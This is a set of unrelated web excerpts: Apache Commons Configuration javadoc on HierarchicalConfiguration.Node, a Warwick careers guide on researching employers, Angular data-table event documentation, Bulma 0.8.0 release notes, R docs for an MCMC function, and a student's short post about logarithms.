Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.findLastPathNode(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node node)
Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
HierarchicalConfiguration.Node |
HierarchicalConfiguration.Node.getParent()
Returns the parent of this node. |
HierarchicalConfiguration.Node |
PatternSubtreeConfigurationWrapper.getRoot()
|
HierarchicalConfiguration.Node |
MultiFileHierarchicalConfiguration.getRoot()
|
HierarchicalConfiguration.Node |
HierarchicalConfiguration.getRoot()
Returns the root node of this hierarchical configuration. |
HierarchicalConfiguration.Node |
DynamicCombinedConfiguration.getRoot()
|
| Methods in org.apache.commons.configuration with parameters of type HierarchicalConfiguration.Node | |
|---|---|
void |
HierarchicalConfiguration.Node.addChild(HierarchicalConfiguration.Node node)
Adds the given node to the children of this node. |
protected void |
HierarchicalConfiguration.clearNode(HierarchicalConfiguration.Node node)
Deprecated. Use the method HierarchicalConfiguration.clearNode(ConfigurationNode)
instead |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.createAddPath(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node root)
Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.fetchAddNode(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node startNode)
Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.findLastPathNode(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node node)
Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
protected void |
HierarchicalConfiguration.findPropertyNodes(ConfigurationKey.KeyIterator keyPart,
HierarchicalConfiguration.Node node,
Collection<ConfigurationNode> nodes)
Deprecated. Property keys are now evaluated by the expression engine associated with the configuration; this method will no longer be called. If you want to modify the way properties are looked up, consider implementing you own ExpressionEngine implementation. |
protected abstract Object |
HierarchicalConfiguration.BuilderVisitor.insert(HierarchicalConfiguration.Node newNode,
HierarchicalConfiguration.Node parent,
HierarchicalConfiguration.Node sibling1,
HierarchicalConfiguration.Node sibling2)
Inserts a new node into the structure constructed by this builder. |
protected boolean |
HierarchicalConfiguration.nodeDefined(HierarchicalConfiguration.Node node)
Deprecated. Use the method HierarchicalConfiguration.nodeDefined(ConfigurationNode)
instead. |
boolean |
HierarchicalConfiguration.Node.remove(HierarchicalConfiguration.Node child)
Removes the specified child from this node. |
protected void |
HierarchicalConfiguration.removeNode(HierarchicalConfiguration.Node node)
Deprecated. Use the method HierarchicalConfiguration.removeNode(ConfigurationNode)
instead. |
void |
HierarchicalConfiguration.Node.setParent(HierarchicalConfiguration.Node node)
Sets the parent of this node. |
void |
PatternSubtreeConfigurationWrapper.setRoot(HierarchicalConfiguration.Node node)
|
void |
MultiFileHierarchicalConfiguration.setRoot(HierarchicalConfiguration.Node node)
|
void |
HierarchicalConfiguration.setRoot(HierarchicalConfiguration.Node node)
Sets the root node of this hierarchical configuration. |
void |
DynamicCombinedConfiguration.setRoot(HierarchicalConfiguration.Node node)
|
void |
HierarchicalConfiguration.NodeVisitor.visitAfterChildren(HierarchicalConfiguration.Node node,
ConfigurationKey key)
Visits the specified node after its children have been processed. |
void |
HierarchicalConfiguration.NodeVisitor.visitBeforeChildren(HierarchicalConfiguration.Node node,
ConfigurationKey key)
Visits the specified node. |
void |
HierarchicalConfiguration.BuilderVisitor.visitBeforeChildren(HierarchicalConfiguration.Node node,
ConfigurationKey key)
Visits the specified node before its children have been traversed. |
| Uses of HierarchicalConfiguration.Node in org.apache.commons.configuration.plist |
|---|
| Subclasses of HierarchicalConfiguration.Node in org.apache.commons.configuration.plist | |
|---|---|
static class |
XMLPropertyListConfiguration.ArrayNode
Container for array elements. |
static class |
XMLPropertyListConfiguration.PListNode
Node extension with addXXX methods to parse the typed data passed by the SAX handler. |
|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |


Researching employers
Researching employers helps you to identify what kind of work is right for you, as well as being an important part of preparing for job applications and interviews.
Researching helps you:
- Understand the career options available
- Find out what qualifications, skills and experiences employers are looking for
- Understand how employers recruit - large graduate recruiters and smaller companies (SME's)
- Improve your job search and find careers you may not have thought of...
The employer
Research the employer's organisational structure, values and vision, strategies and goals. Read annual reports, investor reports, news articles not just information available on the company website.
- Attend job sector events, careers fairs and presentations
- MarketLine Advantage - is easy to use with company and job sector information
- Business databases - e.g. Nexisfor news , Fame for company reports and Mintel for marketing
- e-mentoring - connect with Warwick Alumni to help you get industry or career information
- Employer visit reports - written by Warwick careers staff
- List of companies that may accept a 2.2 degree
- Smaller companies (SME's)
The environment
Research the employer's environment including its competitors, economic conditions, political issues and regulatory issues that may affect the business.
- Follow the news on sector related websites, blogs, magazines, Finimize gives you daily bitesize business information or use MarketLine Advantage and Nexis
- Use professional bodies, trading unions and magazines for specific sectors - check job sectors
The role
- Read the job sector pages
- View filmed career stories on iCould; Career player; Warwick Alumni playlist
- Network with Warwick graduates at careers events - e.g. fairs, employer presentations, job sector events
- Join professional networks and special interest groups e.g. LinkedIn


Set of events introduced to the data table to track different user interactions and to maintain and manage events perform on top of the data table. All the events are triggers based on predefined events hierarchical order.
All available data table events are initialize as the following sequence depends on it's invoking behaviour (Automatic/Manual).
|__ Ornamentum Events
|
|___ Data Table Events
| |
| |___ Automatically Triggers
| | |
| | |-- Column Bind // triggers for each column data binding.
| | |-- Init // trigger data table initialization.
| | |-- Data Bound // triggers after data binding completion.
| | |-- Row Bind // triggers for each row data binding in current view.
| | |-- Cell Bind // triggers when binding data for cell.
| |
| |___ Manually Triggers
| |
| |-- Row Select Change // triggers row select state changes.
| |-- All Row Select Change // trigger all row select state changes.
| |-- Row Click // triggers single each row click events.
| |-- Row Double Click // triggers each row double click events.
| |-- Cell Click // triggers when click on specific cell.
| |-- Header Click // triggers when on column header mouse click.
|
|___ Dropdown Events
|
\/
As mention in the above, all available events can be bind to the data table as follows try by yourself to get familiar. For individual event usage details refer Useful Events section.
All the available data table events can be detailed as follows. In here, the above What You Will See section example will separate into individual sections and discuss in detail with examples.
columnBind: EventEmitter<DataTableColumnComponent>
Target Component: <ng-data-table>
Triggers for each column before all other event configurations and emit DataTableColumnComponent. As mentioned earlier, this is the first event which called before all the other events.
init: EventEmitter <DataTableComponent>
Target Component: <ng-data-table>
Init event emits a DataTableComponent after
the grid initialization. It can track by binding a event to init
property. below example and
code snippet will demonstrate a sample usage.
dataBound: EventEmitter<void>
Target Component: <ng-data-table>
Data bound property will trigger the completion of data binding operations. This event will be called right after
the columnBind
and init
events respectively.
rowBind: EventEmitter<DataTableRow<any>>
Target Component: <ng-data-table>
For each row data binding operations in the current view, this event will be triggered and emits a DataTableRow
generic type of data set. Please note row bind event will be called after the columnBind
,
init
and dataBound
events respectively.
cellBind: EventEmitter<DataTableCellBindEventArgs<any>>
Target Component: <ng-data-table>
After each table row cell data binding operations, this will be triggered and emits a DataTableCellBindEventArgs
generic type of data set. That means after a each rowBind
event, this event will be called recursively
for all the available cells in a given row. That's why following output shows the same output (eg: Cell bind event is called for row ID - 10).
If Pageable is enabled, cell binding will perform on the current table view only. For rest of the pages, cell binding will triggers if the user paginates into them only. Fore more details refer data table Pagination section.
rowSelectChange: EventEmitter<any | any[]>
Target Component: <ng-data-table>
Triggers when row select state changed and emits the selected Select Track By field value or values depending on the row Select Mode. To make
this event work it is mandatory to define Row
Selectable and selectTrackBy
properties. According to this example selectTrackBy
property is id field.
allRowSelectChange: EventEmitter<boolean>
Target Component: <ng-data-table>
Triggers when Row Select
Change is perform on all the rows in current page or clicking on the select all checkbox will triggers the
event. This event emits a boolean
with the current state of the selection status.
Please note, Select all checkbox will only selects the rows on current page. each paginated page views have separate select all check boxes. For more details refer the Pagination and Show Row Select All Checkbox sections.
rowClick: EventEmitter<DataTableRowClickEventArgs<any>>
Target Component: <ng-data-table>
This property can be uses to trigger user single click event perform on specific data row and emits a DataTableRowClickEventArgs generic type of data set.
rowDoubleClick: EventEmitter<DataTableDoubleClickEventArgs<any>>
Target Component: <ng-data-table>
This property can be uses to trigger user double click event perform on specific data row and emits a DataTableDoubleClickEventArgs generic type of data set.
cellClick: EventEmitter<DataTableCellClickEventArgs<any>>
Target Component: <ng-data-table>
This event can be uses to trigger user click events perform on specific cell and emits a DataTableCellClickEventArgs type of data set. For sample demonstration refer the below example.
headerClick: EventEmitter<DataTableHeaderClickEventArgs>
Target Component: <ng-data-table>
This event can be uses to trigger user click events perform on specific column headers and emits a DataTableHeaderClickEventArgs type of data set.


The new version Bulma 0.8.0 is out! 😃 It comes with several bug fixes and a lot of nice new features:
- Light/Dark colors
- Better visual look
- Panel colors
- Larger form controls
- 4-value color map
- Scheme variables for “Dark mode”
More in the Changelog.
Light/Dark colors #
Each main color ("primary"
, "info"
, "success"
, "warning"
, "danger"
) now comes with a *-light
and a *-dark
version. They are calculated using 2 new color functions:
findLightColor()
which finds the light version of a colorfindDarkColor()
which finds the dark version of a color
The light colors are used by the button
element:
The light and dark colors are used by the message
component, which generates much prettier colored versions. See the difference between before (left) and after (right):
Better visual look #
Some of the Bulma colors have been updated:
| Color | Before | After |
|---|---|---|
$green
|
hsl(141, 71%, 48%)
|
hsl(141, 53%, 53%)
|
$cyan
|
hsl(204, 86%, 53%)
|
hsl(204, 71%, 53%)
|
$red
|
hsl(348, 100%, 61%)
|
hsl(348, 86%, 61%)
|
The shadows of the box
and card
have been improved:
Panel colors #
The panel component is now available in all colors:
Larger form controls #
Form controls and buttons are now 2.5em
high. You can revert this resizing by setting these previous values:
$control-height: 2.25em
$control-padding-vertical: calc(0.375em - #{$control-border-width})
$control-padding-horizontal: calc(0.625em - #{$control-border-width})
$button-padding-vertical: calc(0.375em - #{$button-border-width})
$button-padding-horizontal: 0.75em
4-value color map #
The $colors
Sass map now accepts, for each of its values, a map of up to 4 values. For example: the key "info"
now has the ($info, $info-invert, $info-light, $info-dark)
map.
If you provide a $custom-colors
map, you can decide to provide a map of 1, 2, 3 or 4 values for each value. If fewer than 4 are provided, Bulma will calculate the remaining ones:
$custom-colors: (
"lime": (lime),
"tomato": (tomato, white),
"orange": ($orange, $orange-invert, $orange-light),
"lavender": ($lavender, $lavender-invert, $lavender-light, $lavender-dark)
);
This is processed by the updated mergeColorMaps()
Sass function.
Scheme variables for "Dark mode" #
There are 6 new $scheme
derived variables: $scheme-main
$scheme-main-bis
$scheme-main-ter
$scheme-invert
$scheme-invert-bis
$scheme-invert-ter
They replace the $white
and $black
occurrences in the codebase.
This makes it easy to create a “Dark mode” simply by swapping the values:
$scheme-main: $black
$scheme-invert: $white
// etc.
That is also why most of the codebase now references derived variables ($text
, $background
, $border
etc.) instead of initial ones ($grey
, $grey-lighter
, $grey-darker
etc.): updating the derived variables will affect all elements and components directly.
The new 0.8.0 version should be fully compatible with any Bulma setup. Feel free to post an issue if you encounter any problem upgrading.


Given x
and y
performs the MCMC optimization.
ltm_mcmc(x, y, burnin = 2000, iter = 8000, K = 3, prior_par = create_prior_parameters())
| x | data points |
|---|---|
| y | response variable |
| burnin | number of burnin iterations |
| iter | number of iterations after burnin |
| K | parameter K |
| prior_par | List of parameters for prior distrributions.
See |
matrix containing the posterior samples. Each line is one sample after the burnin period and each column is one of the parameters of the model. Columns are named to find the parameters with ease.
Nakajima, Jouchi, and Mike West. "Bayesian analysis of latent threshold dynamic models." Journal of Business & Economic Statistics 31.2 (2013): 151-164.
# Generates 10 series, each one with 500 observations and 2 regressors. d_sim <- ltm_sim( ns = 500, nk = 2, ni = 10, vmu = matrix(c(.5,.5), nrow = 2), mPhi = diag(2) * c(.99, .99), mSigs = c(.1,.1), dsig = .15, vd = matrix(c(.4,.4), nrow = 2), alpha = 0 ) # Fit model fit_model <- ltm_mcmc(d_sim$mx, d_sim$vy, burnin = 0, iter = 2)#> Iteration: 1 / 2 [ 50%] (Sampling) #> Iteration: 2 / 2 [ 100%] (Sampling)


by Grayson Ingram
Posted on April 7,2016
In Algebra II we are learning about logs. We first learned how to change exponents in Log from. For example: ⁶²=36 to Log6 36=2.
We worked a lot with exponents. Exponents that had negatives and fractions.
Has were work more with exponents and logs were learned about the inserted formula. A=P(1+rn)nt
We worked more with exponents and using variables. The variables replace the base and the exponents.
I understand how we can use to make the exponents form into the log form. All of it makes scenes and I understand how to work with the interest formula. I understand how negative exponents work and how to use fractional exponents. Even though logs are new I do not have many problems with them and they make scenes.
Mathematics is not about numbers, equations, computations, or algorithms it is about understanding. - William Paul Thurston